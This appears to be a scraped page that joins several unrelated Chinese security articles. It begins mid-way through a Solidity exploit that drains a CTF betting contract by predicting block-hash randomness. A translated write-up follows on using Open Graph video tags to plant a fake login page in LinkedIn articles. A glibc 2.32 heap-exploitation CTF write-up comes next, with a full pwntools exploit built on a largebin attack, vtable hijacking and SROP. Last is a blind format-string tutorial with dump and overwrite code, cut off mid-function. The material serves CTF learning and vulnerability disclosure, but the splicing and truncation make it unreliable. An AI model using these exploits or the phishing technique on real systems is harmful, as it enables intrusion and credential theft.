mapping(address => uint) public balance;
mapping(address => uint) public status;
address owner;
//Don't leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough.
//Gmail is ok. 163 and qq may have some problems.
event sendflag(string md5ofteamtoken,string b64email);
constructor()public{
owner = msg.sender;
balance[msg.sender]=1000000;
}
function balance(address a) returns (uint b) {
}
//pay for flag
function payforflag(string md5ofteamtoken,string b64email) public{
require(balance[msg.sender] >= 1000000);
if (msg.sender!=owner){
balance[msg.sender]=0;}
owner.transfer(address(this).balance);
emit sendflag(md5ofteamtoken,b64email);
}
function profit() {}
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
function bet(uint num) {}
}
contract midContract {
babybet target = babybet(0x5d1BeEFD4dE611caFf204e1A318039324575599A);
function process() public {
target.profit();
bytes32 guess = block.blockhash(block.number - 0x01);
uint guess1 = uint(guess) % 0x03;
target.bet(guess1);
}
function transfer(address a, uint b) public{
// target.func_048F(a,b);
bytes4 method = 0xf0d25268;
target.call(method,a,b);
selfdestruct();
}
}
contract hack {
// babybet target; = babybet(0x5d1BeEFD4dE611caFf204e1A318039324575599A);
function ffff() public {
for(int i=0;i<=100;i++){
midContract mid = new midContract();
mid.process();
mid.transfer("0x9b9a3xxxxxxxxxxxxxxxxxxxx",1000);
}
}
}
我们进行函数的测试，看看是否可以真正预测随机数。我们调用`midContract`中的`process`。
看到目前合约中的余额和status均为0 。调用函数后得到：
说明我们随机数预测成功，那么后面就非常简单了，即将process函数封装并调用转账函数将合约中的1000转给一个账户。
midContract mid = new midContract();
mid.process();
mid.transfer("0x9b9a30b7df47b9dbexxxxxxxxxxxxx",1000);
上述合约调用1000次即可。
调用后余额清空：
得到flag。 | 社区文章 |
翻译自：<https://medium.com/@jonathanbouman/persistent-xss-unvalidated-open-graph-embed-at-linkedin-com-db6188acedd9>
翻译：聂心明
你想参加私有众测？我很乐意邀请你，请联系我[email protected]
# 背景
在我的上一篇文章中，我们已经学到[存储型xss](https://medium.com/@jonathanbouman/stored-xss-unvalidated-embed-at-medium-com-528b0d6d4982)中的特殊类型。这次攻击允许我们通过操作oEmbed功能去注入HTML和JavaScript。
oEmbed是一种开放的格式，它允许从其他网站插入内容。大多数富文本平台支持标准的oEmbed。比如，你会很容易的在你[Wordpress博客](https://codex.wordpress.org/Embeds)的文章中通过粘贴一段
Vimeo的视频链接来添加一段视频。Wordpress将把链接转换成HTML。这段HTML加载视频播放器，然后播放指定的视频。
如果我粘贴[我的推特](https://www.twitter.com/jonathanbouman)的链接到这篇文章中，那么Medium就会创建一段带我照片的简介。这就是oEmbed的功能。在我们知道这些之前，它们有一个很严重的[漏洞](https://medium.com/@jonathanbouman/stored-xss-unvalidated-embed-at-medium-com-528b0d6d4982)，允许用户插入未经验证的oEmbeds。
另一种方式就是通过 [Open Graph 协议](http://ogp.me/)来嵌入一个假的富文本。一个网站在页面上添加Open
Graph标签，目的是指定你插入的内容类型。
在用户嵌入内容之前，大多数平台会检查指定的oEmbed和Open
Graph标签。网站会遵守[特殊的规则](https://medium.com/slack-developer-blog/everything-you-ever-wanted-to-know-about-unfurling-but-were-afraid-to-ask-or-how-to-make-your-e64b4bb9254#d313)。然后网站会检查所有的标签，以决定是否嵌入其中或者以怎样的方式嵌入其中。
还有一个有利条件是，独自不需要离开博客去查看富文本内容（比如：视频，图片，表演）。还可以插入像Vimeo和Youtube等视频平台的链接，也可以提高他们的播放量和点击率。
大多数平台允许你嵌入一些其他的内容，但是它们会有域名的白名单。看一下
[Wordpress的做法](https://codex.wordpress.org/Embeds#Okay.2C_So_What_Sites_Can_I_Embed_From.3F)。你想把你的HTML注入到平台中，这可能有点难度。
但是如果白名单的实现出现了错误，那么我们就可以把我们的恶意代码注入到我们的目标平台上去，那么这样的错误是什么呢？
我们已经证明了[oEmbed中的漏洞](https://medium.com/@jonathanbouman/stored-xss-unvalidated-embed-at-medium-com-528b0d6d4982)，现在我们看看能不能利用这个技巧来操纵Open Graph标签呢？让我们试试。
# 选取目标
今天我们应该选谁好呢？你说LinkedIn？好主意。当我想联系我关注的研究员时，LinkedIn是我最喜欢的去的地方。而且上面有大量的CEO/CTO/CTTO/CNYANCATO。所以当我报告一个漏洞时（例如没有安全负责人的平台）。我就会快速的联系到那个网站的负责人，给他们的经理直接发送一个消息就足够了：”嘿，你的网站有漏洞了，你快去看一下。你的技术支持还在睡觉。“
这里我插一句嘴，LinkedIn是一个有一个非常负责任的漏洞[披露平台](https://security.linkedin.com/vulnerabilty-disclosure)，它们甚至也有私有[众测项目](https://hackerone.com/linkedin)
让我们给他们报告一个漏洞，然后争取参加私有众测的机会吧
# 识别目标
博客，这就是我想要寻找的地方，这里允许我们插入一些额外的内容。对[LinkedIn
文章](https://www.linkedin.com/help/linkedin/topics/6198/6207/publishing-articles?lang=en)说hello。通过访问你的动态然后点击 Write an Article 这个按钮，你就会打开这部分功能。
我们访问到了一个看起来比较干净的编辑器，这里允许我们去写我们的第一篇文章，这个文章由标题和内容组成。我们移动鼠标到下面的小图标中，这里有一些可以添加图片和视频的功能。
点击这个小图标，我们点开添加链接的按钮，然后在我们的博客中添加富文本内容。
# 插入请求
是时候打开 [Burp Suite](https://portswigger.net/burp)
然后观察我们的数据传输，当我们填入链接的时候到底发生了什么？
我们看到LinkedIn把我们的url转换成了HTML代码。返回报文被url编码了，下面是解码的结果：
{“embedIframe”:”<iframe src=\”https://www.linkedin.com/pulse/api/edit/embed?embed={"request":{"originalUrl":"https://www.youtube.com/watch?v=9hWgA7qjK2c","finalUrl":"https://www.youtube.com/watch?v=9hWgA7qjK2c"},"images":[{"width":480,"url":"https://i.ytimg.com/vi/9hWgA7qjK2c/hqdefault.jpg","height":360},{"width":1920,"url":"https://i.ytimg.com/vi/9hWgA7qjK2c/maxresdefault.jpg","height":1080}],"data":{"com.linkedin.treasury.Video":{"width":480,"html":"<iframe scrolling=\”no\” allowfullscreen src=\”//media.licdn.com/embeds/media.html?src=https://www.youtube.com/embed/9hWgA7qjK2c?feature=oembed&url=https://www.youtube.com/watch?v=9hWgA7qjK2c&type=text/html&schema=youtube\" width=\”480\” frameborder=\”0\” class=\”embedly-embed\” height=\”270\” />”,”height”:270}},”provider”:{“display”:”YouTube”,”name”:”YouTube”,”url”:”https://www.youtube.com/"},"author":{"name":"321 Relaxing — Meditation Relax Clips”},”description”:{“localized”:{“en_US”:”Rain HD video and forest, relaxing rain sounds and forest sounds for sleeping meditation. Nature sounds relaxation. Rainforest sounds: https://www.youtube.co..."}},"title":{"localized":{"en_US":"Rain Sounds and Forest Sounds — Relaxing Sleep”}},”type”:”video”}&signature=AcdfNDjBXZOjo2vdz4EOixtGBrlx\”></iframe>”,”universal”:true}
编辑器把它解析成框架，然后放入我们的文章中，结果被放入了三个框架之中，它们中每一个之后都有一个视频播放器。我们继续，然后就看到我们嵌入的YouTube视频
[relaxing rain sounds](https://www.youtube.com/watch?v=9hWgA7qjK2c)
这意味着我们能够注入我们自己的恶意HTML，这个html不是LinkedIn域下的。我们可以创建独立的框架。但是我们不能得到LinkedIn的cookie，我们也不能操作框架外的html
如果我们能注入一个假的LinkedIn登录页面，然后偷走访客的密码，这样的话，影响也是蛮大的。在LinkedIn中嵌入内容，LinkedIn不会暗示这是一个嵌入的东西，就只是一个干净的，无边框的盒子。所以，对于普通人来说，还是很难区分这是一个钓鱼页面还是一个真正的登录页面。
# 完美的钓鱼页面
首先我们要设计一个钓鱼页面来，因为我希望能让其他人很快的了解到这个漏洞的危害程度到底有多深。弹出一个JavaScript的警告框是不够的。
想要复制一个网站的页面元素，可以用SnappySnippet。这是一个Chrome的插件，它可以让你选择网站的元素，并且把它的HTML和css文本都复制下来。
我们把SnappySnippet中的代码贴到新的的HTML文件中去，然后把它转换的小一点，并在结尾添加一些JavaScript代码，以捕捉到用户输入的邮箱和密码。如果你输入用户名和密码并且提交了之后，我就会用JavaScript的警告框来显示你的登录信息。
我把假的登录页面上传到我自己的服务器中，然后把它嵌入到LinkedIn的文章里面，如你所见，我们没有用到oEmbed或者Open Graph标签
有一点失败的地方就是我们插入的页面周围有一圈灰色边框，看上去就像被嵌在里面的一样。
# 利用Open Graph
如果你仔细观察[Open Graph协议](http://ogp.me/)，你会发现有个标签名是og:video。它告诉浏览器视频播放器该如何被嵌入其中。
如果我们用og:video标签加载我们的钓鱼页面而不是视频播放器，那么会发生什么？
欧耶，我们把钓鱼页面成功的嵌入到了LinkedIn的文章中。让我们把文章标题改成‘Oops, something went wrong!’，然后继续
现在我们可以通过精心构造一篇文章，然后把链接发给其他人，就可以盗取其他用户的用户名和密码了。或者，我们可以把它公开在LinkedIn上，看看会发生什么。
现在所有的事情都已经完成，是时候写一篇报告交给LinkedIn的安全团队了
# 结尾
我在LinkedIn.com 中创建了一个完美的钓鱼页面。我们在LinkedIn的文章中在Open Graph Video标签中注入了我们的钓鱼页面。
这也是一种存储型xss攻击
# 攻击的影响
* 完美的钓鱼页面
* 在用户输入他们的凭证之后，我可以把页面自动重定向到另一个页面，而不会引起怀疑（通过使用top.location.href）
* 用[beef](http://beefproject.com/)攻击访问者
* 会造成[点击劫持攻击](https://www.owasp.org/index.php/Clickjacking)
我还忘了哪些呢？请给我留言
# 避免这次攻击的解决方案
* 不要让用户来控制Open Graph标签，使用白名单来控制嵌入的内容
* 不要用框架
# 赏金
没有 | 社区文章 |
# glibc2.32中的隔块合并手法与NULL_FXXK题解
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 保护情况
## 程序分析
### rep stos指令
* rep指令:重复指令ecx次
* stos:把eax中的值复制到es:EDI指向的地方,每次执行都会增加edi
* DF标志寄存器决定方向
* 这一段指令的作用就是把tcache全部设置为0
### 程序功能
* Init时,会通过calloc(0x10, 1)-0x290得到一个指向tcache的指针
* 每次读入cmd时会检查
* __malloc_hook是否为null
* __free_hook是否为null
* 检查libc中偏移0x1e6e98处是否为0x80, 也就是maxfast是否为0x80
* 把Tcache全部设置为0
* Add
* 最多32个指针
* 0x100<=size<=0x2000
* ptr = malloc(sz)
* read(0, ptr, size)
* ptr[size-1]=0
* PtrArr[idx] = ptr
* SizeArr[idx] = size
* Free
* 读入idx
* free(PtrArr[idx])
* PtrArr[idx]=0
* SizeArr[idx]=0
* Show
* 读入idx
* write(1, PtrArr[idx], strlen(PtrArr[idx]))
* Modify
* 只能运行一次
* len = read(0, PtrArr[idx], SizeArr[idx])
* PtrArr[idx][len]=0
## 思路
* 题目每次都会清空tcache,并且size可以超过0x420
* 那么对于0x420以内的chunk ,free会被直接吃掉
* 对于大于0x420的chunk,机制和2.23一样,题目考的是UB相关手法
* 题目只有一个offset by null,可以用来打P标志
* 但是再2.32中free合并时有自闭检查+prev_size与size检查,无法使用隔块合并的手法
* 既然不能先溢出再释放,那么就试试先释放再通过相邻块溢出
-也被堵死了
UB相关的都被堵死
## 解决
* 只有一个offset by null,还是通过UB隔块合并制造chunk重叠
* 在libc2.32中由于加入了对prev_size的检查,所以还必须要伪造prev_size,因此无法靠合并已经在UB中的chunk来绕过unlink
* 因此我们必须自己伪造prev_size与size
* 至于unlink的检查,则通过堆风水,利用Largebin的nextsize链表+partial overwrite,利用残留信息来伪造自闭链表
### 堆风水
* 但是这里partial overwrite也是有限制的,本题写入的时候结尾只能是00
* 如果B的地址为0x..1200, 那么就要求AC地址也是0x..12XX的格式, 但本题最小chunk为0x110,因此低第三B不可能都是12,所以只能高位相同
* B的地址为0x120034, 那么就要求AC的地址为0x12XXXX的格式,这个很容易满足
### chunk布局
* 首先至少有A:0x500 A’:0x500 B:0x510 C:0x520三个chunk进入LB来伪造自闭链表
* (0x500 0x500 0x510 0x520)
* 为了避免在UB中合并,因此还需要0x110的chunk作为gap, A和A’不会一起释放,所以不需要gap
* (0x500, 0x500, 0x510, 0x110, 0x520, 0x110)
* 还需要两个chunk一个用来溢出后一个chunk的P标志,一个用来free时触发隔块合并,前一个malloc的size必须为8结尾,后一个chunksize必须与0x100对齐
* (0x500, 0x500, 0x510, 0x110, 0x520, 0x200, 0x300, 0x0x110)
* 现在可以让(0x510…0x300)之间的chunk都被合并进入UB中, 进入之后还需要一部分区域来进行攻击,越大越好,选择0x2010
* (0x500, 0x500, 0x510, 0x110, 0x520, 0x2010, 0x200, 0x300, 0x0x110)
* 由于partial overwrite时结尾为00的限制,因此还需要一切chunk来让0x500 0x510 0x520 的size为0xSS SS SS SS SS SS 00 XX的格式(S表示一样,XX表示任意)
* (padding 0x500, 0x500, 0x510, 0x110, 0x520, 0x2010, 0x200, 0x300, 0x0x110)
### padding的构造
* 我们需要把指向A A’ C的指针覆盖为指向B的,并且只能结尾覆盖为00
* 那么理应让B再地址0x…00XX, 让A’ A C在高处, 因此chunk布局就变成为:
* (padding, 0x510, 0x500, 0x500, 0x110, 0x520, 0x2010, 0x200, 0x300, 0x0x110)
* 先看下没有padding的情况
* chunk B的addr为0x…b2c0 – 0x10 = 0x…b2b0
* 为了让达到0x…00XX的格式,至少还要0x10000-0xb2b0 = 0x4d50
* 因此尝试下0x2010 0x2010 0xd30到三个chunk作为padding
* 现在指向chunk A’ A C的指针都可以被partial overwrite为指向chunk B的指针
### 构造自闭链表
* 首先全部放入UB中
* 然后再Add一个很大的chunk, 这样就可以触发UB整理, 把ABC按照大小放入LB中, 然后把Add的很大的chunk释放掉,与top chunk合并
* 先把B拿出来, 把fd bk作为prev_size 和size 字段, 把fd_nextsize bk_nextsize作为fd bk
* 我们要溢出chunk10, free时 让chunk 10 一直合并到B
* chunk 10 地址为0x0000555555563760-0x10
* 我们在B中伪造的FakeChunk地址为0x555555560010
* 因此prev_size为0x3740
* 再取出A, partial overwrite 他们的heap指针
* 此C中已经没有heap指针,所以需要把A’ 放入LB, 来让C有一个可以被partial overwrite为指向B中FakeChunk的指针
* 然后取出C, partial overwrite C中指向A’的fd指针
* 至此, 自闭链表就构造完成了
### 隔块合并
* 接着就可以利用chunk9去溢出chunk10的P标志,并伪造prev_size实现隔块合并
* 问题:我们需要free chunk10 ,让chunk10进入UB的逻辑,因此就需要绕过tcache
* 因此size最小为0x430, 又因为需要与0x100对齐,所以用来触发合并的chunk 10 size应为0x500
成功构造出overlap
### 泄露堆地址
* 在unlink前我们有`B->bk = C, C->fd=B`, 并且C是被索引到的,但由于00截断,无法读出堆地址
* 但是再unlink时,会有
* bck = B->bk = C
* fwd = B->fd = A
* bck->fd = fwd => C->fd = A
* 因此A的地址就被写入到了C的开头,并且没有被00截断,我们可以直接show出来
### 泄露libc地址
* 任何写入都会被00结尾,因此只能让addr自己出现在可读取的位置
* 常规思路为切割UB,让idx指向UB中的chunk头,通过UB的fd泄露
* 但问题是本题的UB的fd是00结尾的,无法show出来
* 所以只能借助与LB中的fd bk指针
* heap情况:
* 我们需要把一个被索引的chunk放入LB中
* 利用UB的切割机制,就可以, 把UB切割到一个被索引的位置,并且切到小于0x2000,然后申请一个大的chunk,UBchunk就会被整理到LB中
### 任意写
* UB的利用需要伪造size, LB则难以伪造链表,两者都有很多先决条件,还是使用tcache进行攻击最方便
* 因此可以利用LBattack向保存tcache指针的地方写入一个victim地址,从而控制整个tcache结构体
* 进行LB attack的手法
* 我们需要把一个被索引的0x510的chunkA放入LB中,然后手中有一个0x500的chunkB
* free(chunkA) A进入UB, 再Add(0x500)就可修改LB中的chunk
* 然后free(chunkB)进入UB
* 再Add(0x2000)触发整理即可像addr2写入被free的chunk地址
* 再找到存放tcache的地址
* exp:
### Tcache布局
* 根据计算公示:
* idx = (chunk_size – 0x20)/0x10, idx从0开始
* count_addr(idx) = tcache_addr + idx*2
* entry_addr(idx) = tcache_addr + 0x80 + idx*8
* 现在tcache位于0x0000555555561540 , 如果我们使用0x400的chunk,那么就有
* idx = (0x400-0x20)/0x10 = 0x3
* count_addr(0x3e) = tcache_addr + 0x3e*2 = tcache_addr + 0x7C
* entry_addr(0x3e) = tcache_addr + 0x80 + 0x3e*8 = tcache_addr + 0x270
* 由于写入的地址是被free的那个chunk, 所以要据此对0x500那个chunk进行布局
* 注意:写入的是chunkB地址,我们写入是从chunkB+0x10开始的,所以fake_tcache都要减去0x10
### 如何劫持执行流
* 由于无法堆__free_hook进行修改, 因此只能从IO入手
* 由于本题没有使用流输入输出,所以只能从libc中的输出开始入手
* libc的ptmalloc中有两种错误输出:
* __glibc_unlink(…) 这是安全检查, 这种错误信息直接write(STDERR, …) 无法利用
* assert(…) 这是运行时检查, 错误信息会通过流输出
`assert()`定义:
#define assert(e) \
(__builtin_expect(!(e), 0) ? __assert_rtn(__func__, __FILE__, __LINE__, #e) : (void)0)
#define __assert(e, file, line) \
__eprintf ("%s:%d: failed assertion `%s'\n", file, line, e)
#define eprintf(format, ...) fprintf (stderr, format, __VA_ARGS__)
`eprintf()`的调用实际就转为`vfprintf()`的调用
int __fprintf (FILE *stream, const char *format, ...)
{
va_list arg;
int done;
va_start (arg, format);
done = __vfprintf_internal (stream, format, arg, 0);
va_end (arg);
return done;
}
在`vfprintf()`中会进入`buffered_vfprintf()`
static int buffered_vfprintf (FILE *s, const CHAR_T *format, va_list args, unsigned int mode_flags)
{
CHAR_T buf[BUFSIZ];
struct helper_file helper;
FILE *hp = (FILE *) &helper._f; //助手流
int result, to_flush;
//...hp初始化
_IO_JUMPS (&helper._f) = (struct _IO_jump_t *) &_IO_helper_jumps; //为助手流设置虚表:_IO_helper_jumps
/* Now print to helper instead. */
result = vfprintf (hp, format, args, mode_flags); //输出到助手流hp中
//...
if ((to_flush = hp->_IO_write_ptr - hp->_IO_write_base) > 0) //如果有要输出的
{
if ((int) _IO_sputn (s, hp->_IO_write_base, to_flush) != to_flush) //那么就调用s的_IO_sputn全部输入回s
result = -1;
}
//..
return result;
}
* 因此assert会转入stderr虚表中的_IO_sputn调用
* stderr使用_IO_file_jumps作为虚表, 会调用函数_IO_file_xsputn
* 但问题是我们不仅需要劫持虚表,还需要能控制rdx指向的数据, 这就要求
* 调用时rdx 指向heap 或者libc中可写区域
* 函数为虚表函数, 并且可写
* 在_IO_file_xsputn中, rdx不可控, 但是他会继续调用其他函数,因此我们可以继续跟踪其调用
一路si下去发现,当`fflush()`调用sync是rdx指向一个libc中可写的区域
并且再2.32下,_IO_file_jumps是可写入的
* 因此把_IO_file_jumps中的sync修改为setcontext+61, 然后在rdx指向的区域内写入SigreturnFrame即可开启SROP
* rdx其实指向的另外一个可写入虚表,为了防止SIGV,要保证用到的表项不变
### SROP
* 根据上面的分析,我们需要劫持两个地方:虚表和一个缓冲区
* 因此需要再tcache中伪造两项
然后劫持虚表即可
## EXP
#! /usr/bin/python
# coding=utf-8
import sys
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
def Log(name):
log.success(name+' = '+hex(eval(name)))
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
if(len(sys.argv)==1): #local
sh = process('./pwn')
proc_base = sh.libs()[sh.cwd + sh.argv[0].strip('.')]
else: #remtoe
sh = remote('node2.hackingfor.fun', 36072)
def Num(num):
sh.send(str(num).ljust(0xA, '\x00'))
def Cmd(n):
sh.recvuntil(">> ")
Num(n)
def Add(sz, cont=''):
assert(0x100<=sz and sz<=0x2000)
Cmd(1)
sh.recvuntil('Size: ')
Num(sz)
sh.recvuntil('Content: ')
if(cont==''):
cont='aaa'
sh.send(cont)
def Edit(idx, cont):
Cmd(2)
sh.recvuntil('Index: ')
Num(idx)
sh.recvuntil('Content: ')
sh.send(cont)
def Delete(idx):
Cmd(3)
sh.recvuntil('Index: ')
Num(idx)
def Show(idx):
Cmd(4)
sh.recvuntil('Index: ')
Num(idx)
#padding to align addr
Add(0x2000) #0
Add(0x2000) #1
Add(0xd20) #2
#chunk arrange
Add(0x500) #3 B, put into LB and unlink(B)
Add(0x4F0) #4 A'
Add(0x4F0) #5 A, put into LB
Add(0x100) #6 gap
Add(0x510) #7 C, put into LB
Add(0x2000) #8 chunk to attack
Add(0x1F8) #9 chunk to overflow P flag
Add(0x4F0) #10 chunk to be free
Add(0x100) #11 gap to top chunk
#sort A,B,C into UB
Delete(5) #UB<=>A
Delete(3) #UB<=>B<=>A
Delete(7) #UB<=>C<=>B<=>A
#put A,B,C into LB
Add(0x2000) #trigger sort, LB<=>C<=>B<=>A
Delete(3) #big chunk consolidate with top chunk
#forge FakeChunk in B
exp = p64(0) #prev_size
exp+= p64(0x3740|1) #size
Add(0x500, exp) #idx: 3; get chunk B, LB<=>C<=>A
#partial overwrite A's bk
exp = p64(0)
exp+= p16(0x0010)
Add(0x4F0, exp) #idx: 5; A's bk=>B, LB<=>C
#put A' into LB
Delete(4) #UB<=>A'
Add(0x2000) #trigger sort, LB<=>C<=>A'
Delete(4) #consolidate with top chunk
#partial overwrite C's fd
exp = p16(0x0010)
Add(0x510, exp) #idx:4; C's fd=>B
#chunk overlap
exp = 'A'*0x1F0
exp+= p64(0x3740) #chunk10's prev_size
Edit(9, exp) #chunk10 's P=0, prev_chunk(chunk10)=>FakeChunk in B
Delete(10) #UB<=>(FC in B, A', A, 6, C, 8, 9)
#leak heap addr
Show(4)
heap_addr = u64(sh.recv(6).ljust(8, '\x00')) - 0x5a10
Log('heap_addr')
#get A' from LB
Add(0x4F0) #7
#split UB chunk, make it smaller than 0x2010
Add(0x1520) #UB<=>(8, 9)
Add(0x2000) #UB<=>(9)
#trigger sort
Add(0x2000) #LB<=>(9)
Delete(13)
#leak libc Addr
Show(9)
libc.address = u64(sh.recv(6).ljust(8, '\x00')) - 0x1e40b0
Log('libc.address')
tcache_addr = libc.address + 0x1eb538
Log('tcache_addr')
Log("libc.symbols['__free_hook']")
#LB attack to control tcache ptr
_IO_file_jumps_addr = libc.address + 0x1e54c0
jumps_SYNC_addr = _IO_file_jumps_addr + 0x60
fake_tcache = '\x00'*(0x7C-0x10)
fake_tcache+= p16(1) #counts[0x400] = 1
fake_tcache+= p16(1) #counts[0x410] = 1
fake_tcache = fake_tcache.ljust(0x270-0x10, '\x00')
fake_tcache+= p64(jumps_SYNC_addr) #entries[0x400], setcontext
fake_tcache+= p64(libc.address+0x1e48c0) #entries[0x410], Sigreturn Frame
Delete(12) #UB<=>(8, 9)
Add(0x4F0, fake_tcache) #idx: 12; smaller chunkB, tcache_addr = chunkB
Add(0x1b10) #idx: 13; split
Add(0x500) #idx: 9,14; chunkA,
Add(0x1D0) #idx: 15 remain
Delete(14) #UB<=>chunkA
Add(0x2000) #idx: 14; trigger sort: LB<=>chunkA
Delete(14)
Delete(9) #UB<=>chunkA
exp = p64(0) #chunkA's prev_size
exp+= p64(0x511) #chunkA's size
exp+= p64(0) #chunkA's fd
exp+= p64(0) #chunkA's bk
exp+= p64(0) #chunkA's fd_nextsize
exp+= p64(tcache_addr-0x20) #chunkA's bk_nextsize
Add(0x6F0, exp)
Delete(12) #UB<=>chunkB
Add(0x2000) #trigger sort, now tcache=>fake_tcache
#control vtable
exp = p64(libc.symbols['setcontext']+61) #_IO_file_jumps.SYNC = setcontext+61
exp+= p64(libc.address+0x7e600) #avoid SIGV
Add(0x3F0, exp)
#GG
rdx_GG = libc.address + 0x14b760 #mov rdx, [rdi+8]; call [rdx+0x20]
pop_rdi = libc.address + 0x2858F
pop_rsi = libc.address + 0x2AC3F
pop_rdx_r12 = libc.address + 0x114161
pop_rax = libc.address + 0x45580
syscall = libc.address + 0x611EA
ret = libc.address + 0x26699
def Call(sys, a, b, c):
rop = flat(pop_rdi, a)
rop+= flat(pop_rsi, b)
rop+= flat(pop_rdx_r12, c, 0)
rop+= flat(pop_rax, sys)
rop+= flat(syscall)
return rop
#SROP
frame = SigreturnFrame()
frame.rsp = heap_addr + 0x6650 #RORW ROP addr
frame.rip = ret
frame.r10 = libc.address + 0x8e520 #avoid SIGV
exp = str(frame)
Add(0x400, exp) #buffer<=rdx, must be short
#RORW ROP
buf = heap_addr+0x200
exp = '\x00'*0x100 #padding
exp+= Call(0, 0, buf, 0x100) #read(0, buf, 0x100)
exp+= Call(2, buf, 0, 0) #open(buf, 0, 0)
exp+= Call(0, 3, buf, 0x100) #read(3, buf, 0x100)
exp+= Call(1, 1, buf, 0x100) #write(1, buf, 0x100)
#make assert fail, trigger printf
Add(0x4F0, exp) #idx:17
NON_MAIN = 4
Delete(9) #UB<=>A
exp = p64(0) #chunkA's prev_size
exp+= p64(0x511|NON_MAIN) #chunkA's size
Add(0x6F0, exp) #idx: 16; chunkA in LB has NON_MAIN bit
Delete(17) #UB<=>chunk14
Cmd(1)
sh.recvuntil('Size: ')
Num(0x2000) #trigger
#file name
sh.send('./flag.txt\x00')
sh.interactive()
'''
'telescope '+hex(proc_base+0x4160)+' 18'
'''
## 总结
* 堆风水:
* 利用largebin的fd_nextsize与bk_nextsize来伪造fd bk
* partial overwrite largebin中chunk的fd bk来构造自闭链表绕过其检查
* 一共需要A:0x500 A’:0x500 B:0x510 C:0x520 四个chunk, 用B作为被unlink的chunk
* 泄露堆地址
* unlink时会把chunk地址写入到fd处
* 泄露libc地址
* 让idx索引到largebin中的chunk,利用fd泄露地址
* 先打出double link
* 一个索引把chunk释放到UB中,再申请一个大的,把他整理到LB中
* 另一个索引用来show
* 任意写手法:
* 通过malloc把UB中的chunk整理入LargeBin时的LargeBin Attack,来修改tcache指针,从而使用自己伪造的tcache
* SROP手法
* 由于__free_hook被禁了,因此只能从IO的虚表入手
* 由于setcontext使用rdx作为frame指针,因此需要找到一个虚表项, 在调用是rdx指向的位置可控 | 社区文章 |
# blind-pwn总结+创新
## 前言
blind-pwn是一种黑盒pwn的模式,也就是比赛的时候不给你提供二进制文件,让你实现dump文件或者不dump文件泄露部分信息的目的...
其实16年就已经有比较多的blind-pwn的赛题以及文章分析了,作为第二届安洵杯出题人,发现blind-pwn没有什么合适的堆区利用黑盒pwn,所以在这个基础上做一个总结以及创新.
所有代码/文件都会标注出文件名,同时附件里面也有对于每道题更加详细的wp,附件下载即可
## fmt32
目录为fmt32
格式化字符串漏洞,是最经典的blind pwn.它通过格式化字符串漏洞,泄露内存中的地址.
这里有两种做法,有的做法具有局限性,有的是通用的,但是很耗时间
第一种做法:
* 测试程序正常功能
* 找到格式化字符串漏洞
* 确定偏移--offset-step1.py
* dump文件--dump-step2.py,pwn1bin
* 利用got表地址,泄露出libc
* getshell--bin.exp.py
在确定偏移的过程中,需要小心一个问题
就是计算偏移的时候,存在一个问题就是,我们要保证偏移量足够,就一定要前面增加一个字节的垃圾数据
dump下来的程序是没法运行(没有SHT,dump下来的时候是通过EOF来进行判断结尾的,但是SHT的偏移是0x18dc但是程序运行的时候,是不会把这些数据载入到地址上的)
丢进ida中,还是可以直接当成一个二进制文件进行分析的,而64位不可...后面会有64位的打开方法
第二种做法:--dyn.exp.py
思路不变,但是不dump程序,用dynelf机制进行泄露system地址,getshell
这里有个局限性就是,需要能够有不断开连接,循环泄露内存的条件,但是其实在黑盒pwn的实战中,一般都是存在断开连接,地址复用(一些主流web框架会有),所以利用DYNELF并不常用,但是针对于这道题目来说,确实最合适,最快的解题方案
核心代码如下
def leak(addr):
result = ''
while(len(result)< 4):
sh.sendafter('Please tell me:', '%16$s#\n\0'.ljust(0x21, '\0') +p32(addr + len(result)) + '\0')
sh.recvuntil('Repeater:')
result +=sh.recvuntil('#\n', drop=True) + '\0'
log.info(hex(addr) + ' => ' + hex(u32(result[:4])))
return result[:4]
libc = DynELF(leak, 0x8048000)
libc_addr = u32(leak(0x804a010)) - 0xd4350
log.success('libc_addr: ' + hex(libc_addr))
system_addr = libc.lookup('system', 'libc')
log.success('system_addr: ' + hex(system_addr))
## fmt64
目录为fmt64
64位其实和32位的区别并不大,思路也是同样的
* 测试程序正常功能
* 找到格式化字符串漏洞
* 确定偏移--offset-step1.py
* dump文件--64dump.py,stilltestbin
* 利用got表地址,泄露出libc
* getshell--64bin.exp.py
第一个问题,dump下来的文件ida是无法直接分析
载入的时候需要设置一下...
同时第二个问题需要注意的是
64位的格式化字符串,是无法避免出现\x00的情况的,scanf,printf都默认认为\x00是字符串结尾,所以这里我根据pwntools的源码,进行了修改,自创了一个函数,用来反序覆盖地址
def antitone_fmt_payload(offset, writes, numbwritten=0, write_size='byte'):
config = {
32 : {
'byte': (4, 1, 0xFF, 'hh', 8),
'short': (2, 2, 0xFFFF, 'h', 16),
'int': (1, 4, 0xFFFFFFFF, '', 32)},
64 : {
'byte': (8, 1, 0xFF, 'hh', 8),
'short': (4, 2, 0xFFFF, 'h', 16),
'int': (2, 4, 0xFFFFFFFF, '', 32)
}
}
if write_size not in ['byte', 'short', 'int']:
log.error("write_size must be 'byte', 'short' or 'int'")
number, step, mask, formatz, decalage = config[context.bits][write_size]
payload = ""
payload_last = ""
for where,what in writes.items():
for i in range(0,number*step,step):
payload_last += pack(where+i)
fmtCount = 0
payload_forward = ""
key_toadd = []
key_offset_fmtCount = []
for where,what in writes.items():
for i in range(0,number):
current = what & mask
if numbwritten & mask <= current:
to_add = current - (numbwritten & mask)
else:
to_add = (current | (mask+1)) - (numbwritten & mask)
if to_add != 0:
key_toadd.append(to_add)
payload_forward += "%{}c".format(to_add)
else:
key_toadd.append(to_add)
payload_forward += "%{}${}n".format(offset + fmtCount, formatz)
key_offset_fmtCount.append(offset + fmtCount)
#key_formatz.append(formatz)
numbwritten += to_add
what >>= decalage
fmtCount += 1
len1 = len(payload_forward)
key_temp = []
for i in range(len(key_offset_fmtCount)):
key_temp.append(key_offset_fmtCount[i])
x_add = 0
y_add = 0
while True:
x_add = len1 / 8 + 1
y_add = 8 - (len1 % 8)
for i in range(len(key_temp)):
key_temp[i] = key_offset_fmtCount[i] + x_add
payload_temp = ""
for i in range(0,number):
if key_toadd[i] != 0:
payload_temp += "%{}c".format(key_toadd[i])
payload_temp += "%{}${}n".format(key_temp[i], formatz)
len2 = len(payload_temp)
